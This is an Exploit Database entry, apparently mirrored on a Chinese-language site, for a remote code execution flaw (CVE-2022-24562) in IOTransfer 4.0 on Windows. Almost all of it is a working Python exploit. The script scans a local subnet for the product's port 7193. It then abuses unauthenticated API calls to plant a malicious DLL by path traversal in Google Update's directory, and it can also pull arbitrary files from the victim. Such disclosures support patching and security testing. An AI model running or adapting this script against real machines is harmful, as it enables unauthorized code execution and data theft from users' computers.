IOTransfer 4.0 – Remote Code Execution (RCE)

Exploit Database
122 阅读

作者： Tomer Peled

日期： 2022-07-21
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/50974/

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# Exploit Title: IOTransfer V4 – Remote Code Execution (RCE)

# Date: 06/22/2022

# Exploit Author: Tomer Peled

# Vendor Homepage: https://www.iobit.com

# Software Link: https://iotransfer.itopvpn.com/

# Version: V4 and onward

# Tested on: Windows 10

# CVE : 2022-24562

# References: https://github.com/tomerpeled92/CVE/tree/main/CVE-2022%E2%80%9324562

import os

from urllib3.exceptions import ConnectTimeoutError

from win32com.client import *

import requests

import json

localPayloadPath = r"c:\temp\malicious.dll"

remotePayloadPath="../Program Files (x86)/Google/Update/goopdate.dll"

remoteDownloadPath = r'C:\Users\User\Desktop\obligationservlet.pdf'

Range = "192.168.89"

UpOrDown="Upload"

IP = ""

UserName = ""

def get_version_number(file_path):

information_parser = Dispatch("Scripting.FileSystemObject")

version = information_parser.GetFileVersion(file_path)

return version

def getTaskList(IP, taskid=""):

print("Getting task list...")

url = f'http://{IP}:7193/index.php?action=gettasklist&userid=*'

res = requests.get(url)

tasks = json.loads(res.content)

tasks = json.loads(tasks['content'])

for task in tasks['tasks']:

if taskid == task['taskid']:

print(f"Task ID found: {taskid}")

def CreateUploadTask(IP):

SetSavePath(IP)

url = f'http://{IP}:7193/index.php?action=createtask'

task = {

'method': 'get',

'version': '1',

'userid': '*',

'taskstate': '0',

}

res = requests.post(url, json=task)

task = json.loads(res.content)

task = json.loads(task['content'])

taskid = task['taskid']

print(f"[*] TaskID: {taskid}")

return taskid

def CreateUploadDetailNode(IP, taskid, remotePath, size='100'):

url = f'http://{IP}:7193/index.php?action=settaskdetailbyindex&userid=*&taskid={taskid}&index=0'

file_info = {

'size': size,

'savefilename': remotePath,

'name': remotePath,

'fullpath': r'c:\windows\system32\calc.exe',

'md5': 'md5md5md5md5md5',

'filetype': '3',

}

res = requests.post(url, json=file_info)

js = json.loads(res.content)

print(f"[V] Create Detail returned: {js['code']}")

def readFile(Path):

file = open(Path, "rb")

byte = file.read(1)

next = "Start"

while next != b'':

byte = byte + file.read(1023)

next = file.read(1)

if next != b'':

byte = byte + next

file.close()

return byte

def CallUpload(IP, taskid, localPayloadPath):

url = f'http://{IP}:7193/index.php?action=newuploadfile&userid=*&taskid={taskid}&index=0'

send_data = readFile(localPayloadPath)

try:

res = requests.post(url, data=send_data)

js = json.loads(res.content)

if js['code'] == 200:

print("[V] Success payload uploaded!")

else:

print(f"CreateRemoteFile: {res.content}")

except:

print("[*] Reusing the task...")

res = requests.post(url, data=send_data)

js = json.loads(res.content)

if js['code'] == 200 or "false" in js['error']:

print("[V] Success payload uploaded!")

else:

print(f"[X] CreateRemoteFile Failed: {res.content}")

def SetSavePath(IP):

url = f'http://{IP}:7193/index.php?action=setiotconfig'

config = {

'tasksavepath': 'C:\\Program '

}

requests.post(url, json=config)

def ExploitUpload(IP,payloadPath,rPath,taskid =None):

if not taskid:

taskid = CreateUploadTask(IP)

size = os.path.getsize(payloadPath)

CreateUploadDetailNode(IP, taskid, remotePath=rPath, size=str(size))

CallUpload(IP, taskid, payloadPath)

def CreateDownloadTask(IP, Path) -> str:

url = f'http://{IP}:7193/index.php?action=createtask'

task = {

'method': 'get',

'version': '1',

'userid': '*',

'taskstate': '0',

'filepath': Path

}

res = requests.post(url, json=task)

task = json.loads(res.content)

task = json.loads(task['content'])

taskid = task['taskid']

print(f"TaskID: {taskid}")

return taskid

def ExploitDownload(IP, DownloadPath, ID=None):

if ID:

url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={ID}'

else:

taskid = CreateDownloadTask(IP, DownloadPath)

url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={taskid}'

res = requests.get(url)

return res

def ScanIP(startRange):

print("[*] Searching for vulnerable IPs", end='')

Current = 142

IP = f"{startRange}.{Current}"

VulnerableIP: str = ""

UserName: str = ""

while Current < 252:

print(".", end='')

url = f'http://{IP}:7193/index.php?action=getpcname&userid=*'

try:

res = requests.get(url, timeout=1)

js = json.loads(res.content)

js2 = json.loads(js['content'])

UserName = js2['name']

VulnerableIP=IP

print(f"\n[V] Found a Vulnerable IP: {VulnerableIP}")

print(f"[!] Vulnerable PC username: {UserName}")

return VulnerableIP,UserName

except Exception as e:

pass

except ConnectTimeoutError:

pass

IP = f"{startRange}.{Current}"

Current = Current + 1

return None,None

if __name__ == '__main__':

IP,UserName = ScanIP(Range)

if IP is None or UserName is None:

print("[X] No vulnerable IP found")

exit()

print("[*] Starting Exploit...")

if UpOrDown == "Upload":

print(f"[*]Local Payload Path: {localPayloadPath}")

print(f"[*]Remote Upload Path: {remotePayloadPath}")

ExploitUpload(IP,localPayloadPath,remotePayloadPath)

elif UpOrDown == "Download":

print(f"[*] Downloading the file: {remoteDownloadPath}")

res = ExploitDownload(IP, remoteDownloadPath)

file = open("out.pdf", "wb+")

file.write(res.content)

file.close()